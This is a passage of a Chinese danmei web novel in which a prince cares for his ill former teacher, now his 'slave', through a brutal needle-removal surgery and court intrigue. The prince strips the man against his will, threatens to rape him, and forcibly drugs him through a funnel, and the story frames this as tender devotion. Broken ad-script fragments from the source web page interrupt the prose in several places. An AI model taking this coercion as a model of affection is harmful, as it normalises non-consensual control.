顾棉看着他,觉得他好像话本里说的那种绝世剑客,还是极漂亮那种。 ——满堂花醉三千客,一剑霜寒十四州。 可那剑客好像不太正经,勾着唇角,调笑着对他道,“殿下这么热的话,那不如脱光算了。” “不穿衣服,可就不会热了,您觉着呢?” 19. 到底谁是狗? 顾棉硬生生给自己气醒了。 醒来就看见周卜易那张与梦里如出一辙格外讨人厌的脸,顿时火气就噌噌往外冒。 语气也跟着沉下来,“醒了?” 周卜易听出了这话里的无名火,他凉凉一笑,“这话似乎该奴问您?” “您要是清醒点了,就叫人来传膳”,周卜易的笑越发寒凉起来,“对了,让许管家把轮椅推过来。” 顾棉闻言手一紧,眸底倏然灼热起来,“本王抱不得你?” “不敢。” 美人冷笑,那神态哪里有一丝一毫不敢的样子。 “奴只是怕爷气性上来,把奴直接摔地上罢了。” 周卜易轻轻咳嗽了几声,一副病弱不堪的模样,“奴,会疼……” 顾棉本想出言讽刺几句,虽然他说不过周卜易,但起码他还可以“以权压人”不是吗? 大不了叫周卜易闭上嘴,不准说只准听。 可当他目光划过周卜易脸上的病容时,一切想法便全都戛然而止。 ——对了,周卜易他……他还在发烧…… 万一把人气出个好歹当场去世了怎么办…… 顾棉软了神色,发了会呆,用很小的声音道,“很疼吗……” 然后他陡然提高了音量——像是不想承认自己的关心,于是忙里忙慌蹩脚至极的掩饰。 只是一眼,就能看破的啊。 “别疼死在本王府上,累本王染一身霉气。” 周卜易懒得戳破顾棉的别扭,他轻眯了眸子,里面寒霜化开些许,“爷不必担心…奴尽量死远点。” 不知道为什么,顾棉只觉得自己大抵是病了。 不然为什么会一听到周卜易谈生谈死就控制不住手,下意识想捂住他的嘴呢? 又为什么看见周卜易那满脸的不在乎和无所谓就很生气很心痛呢? ——你就非要咒自己吗? 周卜易! 顾棉似乎完全不记得是谁先挑的话头,他阴沉着脸色,吓得路过的婢女瑟瑟发抖迟迟不敢靠近。 “站近点”,语气越发低沉,顾棉周身不自觉带上威压,“告诉那边,可以传膳了。” 那婢女这才如蒙大赦,提着裙摆踩着木板跑远了。 “啧”,美人抬头仰视顾棉,见顾棉立刻偏头不与他对视,便伸手勾住顾棉一缕青丝。 他一圈一圈儿把顾棉的头发缠在食指上,那长发不断被缩短,直到顾棉感到头皮传来一阵不容忽视的拉力,于是这才妥协似的低下了头。 顾棉低头,与周卜易对视,周卜易分明在笑,却…… 看乐子一般。 “起床气挺大啊”,周卜易笑着看顾棉有些躲闪的眼睛,“爷有火,怎么不对着奴发?把奴扒光,按着奴一通乱摸,甚至还可以拿奴泄泄欲/火,您说呢?” ——有何不可。 顾棉不知不觉又攥紧了拳头。 “拿你泄火?”顾棉冷哼一声,“本王说过,你不够资……” 周卜易视线移到他拳头上,想着要不先安抚一下他…… “顾棉”,周卜易轻声叹,“小孩儿。” “心情不好是不是,是最近事情太多了,受不住,还是这几天夜里休息总是不够,撑不下去了?” 顾棉僵住了,周卜易的态度转变得有些突然,他一时竟不知如何开口。 周卜易就是那么善变,善变到那么多年了,他依然看不清到底哪个是真正的周卜易。 “没有……” 顾棉眸光微动,但没有偏头,他不会再示弱了。 “你想多了,本王……” “撑不住了就歇会,别让情绪左右你的理智。” ——又是这样教训的语气。 顾棉刚刚有一丝动容的心,瞬间便冷硬下来。 胸口这里,有点闷痛。 ——可你拿的什么身份来管本王? 他该清醒的,周卜易所有的温和都只是为了达到目的的伪装,冷心冷肺才是周卜易的本性。 就如方才,周卜易叫得如此亲昵宠溺只是为了达到让他冷静下来的目的罢了…… 那个眉目凌厉,提剑割下一个个头颅,还能面无表情的修罗,才是真正的周卜易。 那个只需要一个眼神,就能将站在他面前的人吓到濡湿下裤昏厥过去的人,才是真正的周卜易。 “闭嘴,你只是一个私奴,再敢出言不逊,本王……” 顾棉本来想说要对他不客气的,可是他体内都是针…… 如何才能狠下心? “爷欲如何?”周卜易忍住了想扇人的念头,刚刚那点温存就像是错觉一样瞬间消失无踪,“强上了奴?” 美人忍得辛苦,甚至都有点手抖。 难得他温柔,臭小子怎的一点都不懂得珍惜。 果然还是小时候可爱,十年不见,他那乖巧可人儿的棉丫头怎么就长歪成了这么个瞧着就欠揍的模样? “你可以试试”,顾棉一句废话不说,踹门进房,把人放在床上,直接上手就是脱。 周卜易眼皮子狠狠跳了一下,挣扎着要起身,可他如今身子骨太弱,顾棉也不再是当年那个他一手就能拎起来的小孩儿了。 事实上,如果想,顾棉可以单手把他给拎起来且丝毫不带喘气儿…… 顾棉把着他的腰,死死将他桎梏,见他乱动要碰到针,眉头一皱呵斥道,“再动?” “你是本王的家奴!本王就是强上了你又如何?!” ——合天理,合王法。 顾棉小心又迅速地把人扒光,他做得已经相当熟练了,既不会弄疼美人,又不会耽误时间。 很禽兽,曾经无比尊敬的人病重如此伤痛如此。 但他,却在看光周卜易的那一瞬,起了反应。 欲/望升起的时候,他脑子里全是周卜易白瘦的大腿,深陷的腰窝,和被抚摸时难耐到极点压抑不住的呻吟惊呼。 ——很想现在就要了这磨死人的妖精。 可他不能,至少现在还不能。 顾棉恶狠狠瞪了周卜易一眼,然后沉声道,“这几天你都不必穿衣服了!” 折腾来折腾去麻烦,而且衣裳布料再怎么轻盈,也总是会给周卜易带来负担的。 反正寝殿不会有人进,而这九月的天也不算冷。 华云舒说后天就开刀,他不想让周卜易再折腾得一身是血,弄得他前功尽弃。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 美人或许是已经习惯了?又或许更多的可能是已经知道顾棉不会动自己,便放松下来,没有太过激的挣扎? 顾棉要喂他药膳和汤的时候,他也没什么反应,只是任由顾棉系了毛巾在他脖子上,就着顾棉的手一口一口吃着。 顾棉很清楚,周卜易在难过。 吃够了量,顾棉才放过他,甫一松开手,他就拱到那一堆被子里面去了。 ——这么一压还得了?! “出来!”顾棉心下一惊,丢开碗,三步并作两步走到床头,还没碰呢,美人就钻得更深了。 顾棉把周卜易抱出来的时候,周卜易手里还紧紧捏着被角。 顾棉一根一根掰开周卜易的手指,然后将他圈在怀里,下巴轻轻摩挲美人头顶,似乎是一种无声的安抚。 “没有故意折辱的意思”,顾棉心软得一塌糊涂,不由自主就说了真话,“对不起……本王……” “你…你知道的…本王……” ——本王从小就……就这样啊。 后面的话他说不出口,他沉默着蹭了美人柔软的鬓边碎发好一会,然后有些无奈道,“后日就动刀了,乖一点不行吗…… “您是狗吗,别蹭了”,美人神色冷淡,他蓦然回头,眼神嫌弃,“奴的头皮都快……” 瞳孔瞬间放大,两个人都愣住了。 片刻后,顾棉松开一只手,摸了摸自己的嘴唇。 那上面有几个不浅的牙印,严重点的都充血了…… “奴隶,胆子不小”,顾棉呵呵笑起来,笑里藏着刀,“故意的吧?” 周卜易眼底闪过一丝尴尬,刚刚回头太猛,又没想到顾棉竟然贴他这么近,头回猛了,他又好死不死正在说话,牙齿一下就磕顾棉唇上了…… …很好…他成狗了……还是条咬人的狗…… ——不过……顾棉的唇很软,咬起来感觉竟然意外的还不错? 周卜易轻轻挑眉,眼含秋水,“爷觉得是就是吧。” 顾棉眼神暗了暗,心跳漏了一拍。 ——真是,祸国殃民。 就这么个眼神,任是谁看了也招架不住。 仅此一个神态,就让窘迫的人变成了他顾棉…… 他心里有鬼,腹稿打了几千块竹片,临到头来,一句硬话都还没说出来,就被这眼神堵死。 周卜易的目光就像在他灵魂上放了一把邪火,似乎瞬间就能将他的神智焚烧殆尽。 可到了此刻,他仍然是保留清醒的,他双目清明,只是脸越来越黑。 “周衍,你就这么急着侍寝,为此还特意勾引本王?” 顾棉咬牙切齿,“就你这柴火似的,本王都嫌用起来硌人。” 周卜易没跟他斗嘴,微微垂了眸子,开口,“叫华云舒过来,今天下午就开刀取针。” 顾棉想问为什么,可直觉告诉他此时应该继续听下去。 “这两日不要入宫,若有圣旨来传,王爷便装作任性,去看问青天新头牌的公演,然后找个借口喝醉。” “为什么一定要是问青天……”顾棉还是没忍住插了一句。 “照做”,周卜易态度很强硬,“届时您自会知道为什么。” 20. 吃糖好不好? 华云舒的医术告诉他不应该这个时候取针。 可他望着周卜易深不见底的眸子,愣是一句反驳的话都说不出来。 他一站在周卜易面前,就腿抖。 “麻沸散就不必用了”,周卜易神色冷淡,“会降低成功的可能性。” 华云舒狠狠打了个哆嗦,牙齿上下磕了一下。 ——大人真的是太狠了,狠得叫人心里发寒! 生取啊! “其实没多大影……” “动。” 华云舒闭嘴了,他心里不由一阵懊恼。 又不是第一天认识大人了,大人可是谁也不信任的。 哪怕他在谱上,大人一样会防备,怎么可能愿意用麻沸散,完完全全把自己交给他。 周卜易面无表情,看着刀尖划破自己的脚趾。 他紧紧盯着华云舒的手,只要华云舒有一丝异动,他立刻就会扼住华云舒喉管。 华云舒脑门上满是冷汗,但他的手还是稳的,他划开皮肤,然后贴着针在肉里转了一圈。 鬼旋针有多可怕呢? 它是螺旋状的,入针不是用扎,是用拧。 一圈一圈,一点一点拧进去。 外层螺旋,内里中空。 倭国皇室最臭名昭著的酷刑。 华云舒要取针,自然不能跟入针一样拧出来,那样的损伤太大了。 他要用游丝刀,直接贴着针挖个小血洞,然后快速止血。 这个过程要重复整整五百三十四次。 其中有一百八十九次,需要在周卜易骨头上打洞。 整个取针过程需要两个白天。 周卜易就那么一言不发看着华云舒,冷静到令人毛骨悚然。 隔那么一两个时辰,华云舒就需要歇一歇,而这期间,游丝刀是在周卜易手里的。 华云舒不知道周卜易是怎么忍下来,他只是越发敬畏起自家大人。 周卜易一只手软绵绵垂在床边,另一手紧紧握着刀子。 顾棉在门口走来走去,焦急得如同在等自己的王妃生产。 他不由在脑海中想象周卜易此刻的神情。 一定是皱着眉头,痛苦至极? 他也不懂医,华云舒跟他说这种情况不能用麻沸散,怕用了周卜易就醒不来了,他不敢随便拦,只能眼睁睁看着寝殿大门关闭,而他的小私奴在里面靠意志力硬挺。 顾棉心中无力至极,他想要锤一锤墙壁,又害怕引起什么不必用的震动导致华云舒失手,只好又收回拳头。 他出神地望着外面的天色,默默在心里祈祷。 ——你…你那么顽强……不会挺不过来的对吗…… 你要是挺不过来,本王找谁报从前的仇去? 你一定要挺过来啊……你还没给本王暖过床、侍过寝呢…… 顾棉缓缓阖上双眸。 ——你要是能挺过来…本王就稍微对你态度好一点。 就一点点。 本王还没把你养肥一点呢…… 吱呀—— 身后的门开了,顾棉骤然转身,映入眼帘的便是华云舒满脸疲惫。 华云舒摆摆手,“今日就到这里,晚上殿下看着点大人,千万别让他乱动。” 华云舒回房用膳去了,顾棉端着鸡汤和药粥,一步一步靠近床边。 染血的纱布缠绕在四肢上,今天只取了胳膊和腿上的吗? 顾棉感觉自己的心脏跳得越来越快了,他好害怕看见周卜易苍白的脸色和虚弱的神情…… 看见了,一定会心如刀绞的。 他强迫自己睁开眼,走到床头,弯腰放下汤水。 “没死吧?”顾棉轻声,“疼不疼?晚膳多用一点…本王…赏你颗奶糖吃……” 顾棉在腿上垫了个枕头,腹前也放了一个,然后像捧一个随时破碎的泡沫一样小心翼翼将美人扶起,让他靠在自己怀里。 周卜易没有力气,也不想张口。 “吃一点好吗……”顾棉感到好无助,他低声哄着美人,近乎低声下气,“本王……给你两颗……” 剧痛笼罩着周卜易的神经,疼的早已不止是四肢了。 就连脑子里都好像钻了个洞,凉飕飕的疼。 疼到极致的时候,就只剩下乏力和发冷了。 美人微微启唇,他很清楚,自己必须吃点东西,不然明天一定熬不过去。 针可以慢慢取,但时间不会等他。 必须一鼓作气! 顾棉拿着汤勺,勺中液体一直在颤动。 他试探着喂了一勺。 喂不下去,周卜易好像已经失去了吞咽的能力。 顾棉眼泪差点就下来了,他拼命忍回去,不知道是在安慰美人还是在安慰自己,“没关系……没关系……慢慢来……” 他用尽了浑身解数,最终只喂进去半勺,还不是周卜易主动吞的,是趁着吸气的空挡滑进去的。 “不行……不行……”顾棉连嘴唇都在抖,“明天不能再继续了!本王不准你们再继续了!” 他低头去看,眼前很快被水雾模糊。 周卜易无声对他说了四个字。 ——顾棉……听话…… 一滴再也忍不住的泪砸在美人脸上,顾棉慌忙擦了擦眼睛,又轻轻擦美人的脸。 “本王…本王不听!”顾棉舀了一点鸡汤,大概只有三分之一勺,“周衍!本王告诉你,你的命已经被本王买了!你的卖身契还在本王手里,你……你不准……” 周卜易忽然抬起一只手,攥住顾棉袖子。 顾棉的话就再也说不下去了。 “你…你别攥了,本王不拦了”,顾棉眼睛通红,“你不许再乱动,听见没……” ——他……他胳膊那个样子,是怎么抬起来的啊…… 心,好痛,好像要裂开了。 怎么会这样呢,顾棉想不通,明明自周卜易不告而别把他丢了后,他这十多年来就再也没有哭过了。 可周卜易一回来,短短几天他都哭了好几次了。 “本王没有哭,本王也不是小姑娘”,顾棉没忍住,又落了泪下来,“本王,本王让风迷了眼,难受。” 美人轻轻笑了,那是一个虚弱至极的笑容,顾棉仿佛从笑里看到了离别。 他瞳孔骤缩,忽然感到无比恐惧,后背一下就湿透了! “先生……先生……!” “你要干什么!你……你急着取针要干什么?!” 顾棉吓坏了,眼泪哗哗往下掉,再也顾不上伪装,黑漆漆的眸子死死盯着周卜易的眼睛。 周卜易唇角动了动,顾棉立刻俯首帖耳。 “容安……”极微小的声音,却带着无穷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的决心,“这次…咳咳……” “这次……顺利离开神都后……我……” 顾棉一瞬间紧张到了顶点。 美人的笑很温柔,“我便…收下你了……” 顾棉已经顾不得去想为什么要离开神都了。 “你以为本王会拜吗”,顾棉抿唇,继续喂汤,“先把饭吃了!” 他自以为自己很凶,可落在周卜易眼里,就全成了小孩子闹脾气。 周卜易眼神黯淡了一瞬,然后硬扛着足够灭顶的痛楚,努力进食。 很努力了,但靠他自己,还是吃不进去。 顾棉沉默了很久,最终端起碗,慢慢放到自己唇边。 手抖得不像话。 反正不是第一次了啊,有什么好紧张的呢? “你…你等会自己把牙齿松开,别逼本王再咬你……” 说完,顾棉便含了一口汤,低下头,吻住美人的唇。 很轻柔,仿佛生怕把美人的唇含化了一般。 好难过,顾棉强忍着徘徊在眼中的泪。 好难过,真的好难过。 那是他曾经梦寐以求的事,可为什么从周卜易口中听到后,会如此难过。 顾棉一口一口喂着,用自己灵活的舌,去引导美人咽下鸡汤和药粥。 明明在做自己最想做的事,明明在跟自己最喜欢的人接吻。 怎么会那么难过,难过到根本控制不住在眼里打转的泪? 太难过了,眼泪一颗一颗滴进碗里,顾棉只觉得膳房放多了盐,这汤竟是越来越咸了。 唇分,然后再一次含汤吻下去。 直到一碗汤、一碗粥,都见了底。 顾棉坐在榻边,靠着床头,抱着美人,等着天黑。 桌上点满了蜡烛和油灯,会好一点吗? “你别动,就今夜…算……”顾棉闭了眼,深吸气,“算本王求你……” 如果周卜易好好的,此刻一定会调戏他吧? 或者讽刺他两句? 可周卜易什么话也不说,在越来越浓的夜色里,冷厉了目光。 顾棉手收紧了一点,“别动……求你……” 那如三九寒冬般冰冷的眸子,竟奇迹般柔和了一点。 顾棉把下颌轻轻靠在美人颈窝,“求您了…先生……” 顾棉耳朵越来越红,说着那些平日里他根本开不了口的哀求的话。 “吃糖好不好……”顾棉用牙齿剥开糖纸,喂到周卜易唇边,“先生张嘴,甜的……” 嗅着奶香气,美人的眼神越来越柔软。 不由自主就张了一点嘴。 顾棉就趁着这个稍纵即逝的机会,从这一条缝隙里把糖塞了进去。 “不是毒药…是奶糖”,顾棉几乎要泣不成声,“是母妃最后留给容安的了……” “先生乖,不许吐出来”,顾棉像哄奶娃娃一样,“吃了糖就不许再动了……” 周卜易落泪了,痛到极致的时候他没有落泪,但在此刻,他落泪了。 眼角划过的,是对自己不够坚强的痛心。 ——不能动…别怕…都是幻觉…… 都是幻觉啊周卜易,别动,你已经从那里逃出来了…… 现在,你该从心里逃出来了,能做到的对吗? 那颗糖那么甜,足够给你一点勇气了。 21. 用臣给您时间哭么 秋风穿堂过,吹灭了案烛。 几缕烟雾带着蜡油的气味弥漫在殿中。 天光一点一点亮起来了,模糊的家具渐渐有了清晰的轮廓,现出它们本身的颜色。 怀里的人精神似乎受到了很大的创伤,刚一亮,就直接闭上眼睛睡过去了。 顾棉压低了声音,唤来外室守夜的婢女。 “去叫醒云公子,本王要见他。” 他还是觉得不对劲,这么多针不用麻沸散直接取出来,也太强人所难了。 顾棉目光晦暗不明,他盯着内室门上的珠帘,看它在风里荡来荡去,互相碰撞发出清脆的声响。 不对劲,太不对劲了,周卜易到底为什么那么急,明明再养两天会更好,周卜易究竟为什么连一天也等不了,现在就要取? 顾棉感觉自己好像被一条无形的线牵引着,正按照某个人提前铺好的路往未知的方向走。 从他发现周卜易身上的鬼旋针,到黎阳春告知他只有游丝刀可取,再到他前往华府带回游丝和华云舒。 这一切都太顺理成章,就好像是谁故意要把神刀和神医塞到他手上。 或许那个幕后之人还想趁此机会告诉他什么秘密,但被周卜易提前察觉,不得不收手。 顾棉凝神细思那两句遗言的含义。 ——初三淬火,初十朝圣,初二刺绣,初一云游。初七忌杀,初八入定,初九戴帽,初四五六,仙宫见我。 还有周卜易对着肖珩说的那十六个字——初一夜行,初二杀驴,初三初四,没灶王戏。 到底是什么意思? 这些日期根本毫无规律,兴许根本不是一个月份,如此杂乱无章……等等…… 顾棉把华山泉的遗言又回想了一遍。 初三、十、二、一、七、八、九、四五六。 把这些日期单独拎出来看的话,它并不是没有规律的。 它是从一到十的所有数字,没有重复,没有缺漏。 那么它是不是根本不对应日期,而是对应顺序! 就像周卜易说的那句话,其实代表了四个字! 初一夜行,第一个字与夜行有关。 初二杀驴…… 顾棉皱着眉头好一阵思索,也想不明白夜行代表的那个字跟杀驴代表的字要怎么凑到一起。 更别提那个什么“没灶王戏”,简直二丈和尚摸不着头脑。 华云舒是赤足进来的,他住的院子全是泥坑,下人要帮他铺木板,被他赶走了。 “殿下,臣见门开着,就直接进来了。” 既已是客卿,自然可以称臣。 “两个问题”,顾棉回过神,目光稍带威严看着不断靠近的华云舒,“其一,本王去了一趟膳房,他们有准备麻沸散,这个药,你打算给谁用?” 顾棉探究的视线锁在华云舒身上。 其实顾棉压根没去过膳房,说这个话也只是在诈华云舒。 华云舒不疑有它,“这……是大人他说……” “好”,顾棉打断华云舒的话,对外面喊了一声,“来人!” 声音不大,但隐隐酝酿着一丝怒意,“去准备麻沸散,再拿个漏斗洗净了送来!” 华云舒惊了一下,殿下这是……这是要硬灌啊! 他想拦,或者至少说些什么,但他内心其实是希望殿下直接把大人药倒的,所以最终也没有说什么。 “本王才是你的主子”,顾棉压着火,语气自然也相当不善,“为何不第一时刻上报本王?!” 顾棉知道,华云舒绝对是周卜易的人。 他也知道,华云舒不会这么快就改投他。 他只是想着先立个威,警告一下华云舒罢了。 但他没想到华云舒竟是浑身一震,然后好似忽然醒悟一般,直接跪倒在地,俯身下拜,“是,王爷!” 那模样,就好像原本自己就是他主子…… ——看来第二个问题要放一放了…… 华云舒眼底闪过一丝悔意。 ——从前殿下太小了,都是大人在主事,他都习惯了,忘了自己到底该忠于谁了…… 华云舒低头自嘲一笑——殿下点醒他了,不过现在明白也不晚。 反正以后他第一听殿下的第二才听大人的就对了。 顾棉沉默了许久,华云舒刚刚的表现和肖珩之前看他的眼神,都很不正常。 他不由得起了疑心,有一个猜测慢慢在心里成形。 ——他在问青天遇到周卜易,绝不是巧合! 周卜易是故意接近他! 顾棉低头看美人睡得不太安稳的脸。 ——边南关十年,你在那边都部署了些什么? 能不能挡得住朝歌的反扑? 顾棉忽然开口,“本王用过早膳后去问青天办点事,下午入宫一趟,你务必保证顺利取针!” 华云舒屏息敛声,用不可置信的眼神看着顾棉。 顾棉看着华云舒的眼神,心底一沉。 ——猜对了吗……问青天,也是你的势力。 顾棉想起那天那个被抱走的只有几岁的小姑娘。 ——周卜易,难道你当真如此薄情寡义,为达目的不择手段连孩子也不放过? 顾棉垂了眸子,他不相信,不该是这样的! 很久很久以前,是一个早春,寒气还未散尽。 太阳也懒怠出来,于是那天是一个小雨天。 是清明还是寒食呢?具体他其实记不清了。 周卜易在前面走得轻快,他跟得却艰难。 那是一条上山的路,天还太早,不怎么亮。 料峭寒风吹人抖,顾棉一边哆嗦,一边看着那些数不尽的坟包和草席,目光触之什么可怕之物便像烫到似的立刻移往别处。 ——他没有怕,他只是冷。 顾棉往左看,是一截手骨。往右看,一条蛆虫正从空荡荡的眼窝里爬出。 他越发抖起来。 ——这寒风怎的…怎的这般冷。 他不再看别处,只一味盯着周卜易的背影。 周卜易那时候是那么高大,后背足以遮挡前方所有可怖之物。 周卜易为什么一点都不怕呢,顾棉小跑过去,他感到周卜易好像有点悲伤。 是…因为看到了太多草席裹尸,在为他们的家人心痛吗? 顾棉攥了攥拳头,等他当上皇帝,他一定要给每一具买不起棺材的尸体都打一副好的,然后安葬。 周卜易不知道顾棉幼稚却赤诚的想法,他只是一言不发走着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气压低得能叫身旁的人窒息。 “殿下知道他们是怎么死的吗”,周卜易忽然停下脚步,顾棉没有防备,一不小心撞上他后腰,鼻子都撞红了。 “要臣给您时间哭一场吗”,周卜易声音有些冷。 “不用…我不疼”,顾棉轻轻揉了揉鼻子,揉了一点殷红血迹在手指上。 “我真的不疼……我不知道他们怎么死的…… “我不知道…但是先生可以…可以教我……” 他们是怎么死的呢? 顾棉知道,是朝廷出了问题,蛀虫让他们日复一日腐朽下去。 又或许他们本就早已腐烂发臭。 “朱门酒肉臭”,周卜易的眼睛里满满都是鄙夷。 “路有冻死骨”,顾棉小声接了后半句,然后试探着伸手,要去牵周卜易。 那天周卜易虽然没翻脸推开他,却也只是给了一点袖子让他拉着罢了。 “日出了…先生……”顾棉就紧紧攥着这已经属于他的一小块袖角,看金光笼在周卜易身上。 如仙,如圣。 ——先生好像是下凡来普渡众生的啊。 顾棉那时候就想,他不想那么大的事情,他就想让先生教教他,怎么给他的国度治病。 ——你还没教我呢……怎么自己就病成这样了呢? 麻沸散已经放凉了,顾棉冷着脸,掐住美人双颊。 麻沸散比不得其他,这东西要是用嘴喂,搞不好要把他自己也药倒! 那他的计划就行不通了。 周卜易不准他进宫,那他就非要进去看看,里面究竟在搞什么名堂! 华云舒说这个麻沸散能持续到明日清晨,那他就先把周卜易药倒再说,这样就算他晚上回不来,周卜易应该也不会因为乱动出什么事。 思及此,顾棉不再犹豫,直接把漏斗插进去。 周卜易瞬间睁眼,他看见华云舒拿着碗药汤准备往他嘴里倒,身子一僵,随即狠狠瞪眼。 瞪的是顾棉,美人恨不得吃了他一般。 顾棉目光躲闪了一瞬,很快意识到什么,瞪了回去。 ——本王干嘛要怕你! 顾棉跟周卜易互相瞪着,华云舒在一边瑟瑟发抖,一边念叨着“勿怪勿怪”,一边端起麻沸散往周卜易喉管里倒。 僵持了没一会,周卜易两眼一翻,彻底晕死过去。 华云舒放下碗,他身体抖抖索索,心里却莫名有点兴奋。 ——啊,大人在他手上吃瘪了欸!他可以回去吹好多年牛了! 他亲自把大人药倒了!这么厉害的大人,被他药倒了! 华云舒甚至有点想捂着脸在屋里蹦一圈,但想到这有失他高人风范,到底是忍住了。 “咳咳……”华云舒微笑,一派儒雅,“殿下,您在外小心,大人这边交给臣便是。” 顾棉嘴角抽搐了一下,没说什么,去屏风那头换了套华服,腰间别了把折扇,荷包里装满金瓜子和银叶子,大摇大摆就出门了。 他脚步轻佻,出门就径直往一个方向走。 门房里,傅长兴见顾棉离开,压低了帽檐快步往寝殿走。 ——他得赶紧告诉大人,黎阳春来消息了!时机已到,公主留在宫里那边的局,可以开始了! 22. 他到底是什么身份 街头巷陌照旧是那副一潭死水的样子,繁华的外表下,藏着的是那大厦之将倾。 公子们觥筹交错,过道里有衣衫褴褛的老人乞食。 老人屡屡碰壁,转了一圈始终一无所获,失望地离开了。 这样的事每天都在上演。 顾棉独自坐在一楼,低着头喝闷酒,老鸨挽着夸张的发髻,顾棉掀开眼皮扫了一眼,只觉得她脑后像顶了两个黑不溜秋的大包子。 更别提上面还插着两只银簪,像极了一双“筷子”。 老鸨目标明确,下了楼就直直朝着顾棉这边走来,顾棉盯着手里的空杯,眼神那一瞬间无比复杂。 他曾经以为问青天就是个比寻常的风月之地规模大了点的青楼罢了,不曾料…… ——所以他在这里的一举一动,周卜易都会知道吗? 是了,青楼是最能接触达官贵人,最能套出信息又不引起怀疑的地方,以周卜易之智,怎么会放过这样好的一个情报来源呢。 顾棉伸手去够酒壶,有些心不在焉,胳膊肘一不小心就碰倒了面前的铜酒杯。 那酒杯轱辘轱辘滚了几下,正好停在老鸨脚下。 女人弯腰,俯身时胸前有春光乍泄,立刻引来无数老色狼贪婪的目光。 其实她这女人着实不算老,也就三十多岁,而且长得又很是漂亮,不知有多少痴汉想跟她共度春宵。 她两指捏起酒杯,妩媚一笑,“三爷这是怎么了?” 顾棉扶额,似是醉了,“家里的猫不太安生,闹得本王头疼。” 女人抬袖掩面而笑,“仙儿是清冷惯了的,三爷要是不满意,送回来让奴家帮您再调教几天?” 顾棉许久没有说话,他总算是知道周卜易那天那一身的狐媚子味究竟是跟谁学的了。 这女人可不就是只活狐狸精。 女人轻声笑了下,旁桌的人皆觉这声音销魂,偏顾棉丝毫不为所动。 “哎呀,这杯儿脏了呢,奴家帮三爷洗一洗可好?”女人说着,张开樱桃小口,在那杯沿上抿了一圈。 杯上很快印了一圈胭脂红,顾棉站起身,直接搂住女人腰肢,“花样倒多,可惜,本王是正人君子。” 正人君子来烟花柳巷,就挺……讽刺。 “那么这位顾君子~”女人手指搭在顾棉手背,笑声清脆,“您是打算要将奴家这惑乱家宅之人就地正法吗?” 顾棉低头,贴着女人鬓发,“本王尚无家眷,你可愿为容王妃?” 隔壁一公子正举杯痛饮,闻此言论,直接喷了一桌子。 他的同伴顾不得嫌弃,只瞪大了双眼。 满屋子人都震惊了。 ——什么?!容王收了个小倌做妾还不够,甚至还想纳个老鸨回去做正妃? !他疯了吗?!就不怕陛下震怒吗?! 有知情人暗喜——吾皇万岁,三殿下果然是块扶不上墙的烂泥! 顾棉没有管其他人的反应,他弯腰抄起女人腿弯,将她打横抱起,然后直接上了楼梯,往包间走。 等进了门,顾棉便放下女人,走到桌前坐下,半张脸映在日光下,另半张隐入影子里。 女人于一旁小桌前跪坐,手指轻轻拨动琴弦。 顾棉神色微动,那是…… 北离宫乐!只弹给皇室的曲子! “你……” “是大人让殿下来的吧?”女人压了下琴弦,弹出一阵颤音,“重新认识一下,北离第十七公主,你的小皇姑苏月息。” “名器谱第九”,苏月息随意挑了下弦,琴音悠扬,带着一丝说不清道不明的惆怅,“批语:潮汐扇,朝生蜉,夜来香。” 顾棉想过这问青天的老鸨子肯定大有来头,但万料不到她竟是北离皇室之人,更是在那本谱上! “三爷好像很惊讶?”苏月息的手指灵活无比,上下翻飞间一曲仙乐便流入人间,她笑得是那么妖娆,好似一朵燃烧的牡丹花,绚丽多姿,“大人没跟三爷说名器谱的事?” 见顾棉摇头,苏月息叹了一声,停下手指,道,“北离、朝歌、东鼎三国,每一代皇室都有人被那一脉秘密培养上谱。” “你的小皇叔顾泽舟,也是上谱之人,他排在第六。” 这消息属实有些惊世骇俗了! 如果这苏月息说的是真的,那么那一脉所图很有可能是整个天下! 合三国,吞四海,并诸侯,成一统? 顾棉深呼吸几次,强压下内心震动。 ——周卜易很有可能不是任何势力的人!他难道想要自立为王,直接一举坐上天子之位?! 那一脉的野心和胃口这么大的吗?! 那名器谱最后两行字大抵是他看错了?那字本就模糊不清,再加上先入为主,所以才以为是“百年磨九器,器主顾……” 现在想来,怎么可能有百年,周卜易才二十几岁罢了。 顾棉脸色有些发白,如果周卜易真的要冒天下之大不韪,他该怎么办? 他是跟还是不跟? 到时候必然是举世皆敌,搞不好人头落地五马分尸…… 苏月息虽不知顾棉为什么担忧,但还是笑了声,宽慰道,“放心吧,神都的事要不了多久就能结束,姐姐她……” 顾棉的视线目移至苏月息妖媚的眼睛。 如果这个苏月息没说谎,那她口里的姐姐……是他的母妃! “其实当年上谱的应该是姐姐,姐姐的母妃是东鼎和亲的公主,颜妃娘娘在北离不受宠,处境无比艰难。 颜妃娘娘入宫三月便有了身孕,可父皇注定不会让这个孩子顺利生下来。 父皇请神医华山泉出手,想要悄无声息流掉这个孩子。 华山泉骗了父皇,保住了姐姐,想暗中将姐姐送出宫,但颜妃娘娘拒绝了。 当时我母妃正好也临盆,颜妃拜托华山泉将姐姐和我掉包,于是姐姐成了十七公主,我被华山泉抱走,成了那个已经死去的十六公主。” 这个故事有些复杂,顾棉梳理了一下——姐妹互换,本该上谱的母妃成了十七公主在皇宫锦衣玉食长大,本该是公主的小姑却隐姓埋名潜入朝歌成了老鸨。 “你不怨本王母妃抢了本属于你的人生吗……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“那是颜妃娘娘自私,关姐姐什么事”,苏月息又叹了口气,“我小的时候不怎么服管教,得知自己公主身世后,经常溜进宫玩。我那时很好奇那个跟我互换人生的姐姐,后来我发现她总是一脸愁容。” “她从没有出过宫,我可怜她过得孤寂,经常带些外面的小玩意儿赠她。 “一来二去就成了闺房密友,我告知了她当年之事,也说了上谱的事情,她听后决定帮我,于是在二十年前北离战败之后,自请入朝歌和亲。” “小侄儿,那一脉选你是命中注定啊”,苏月息面带追忆之色,“你是三国皇室混血,你的母妃是北离公主,你母妃的母妃又是东鼎公主。” “如果当年我与姐姐没有互换,那么和亲朝歌的就是我,你自然也不会拥有三国血脉。” ——命中注定…吗…… 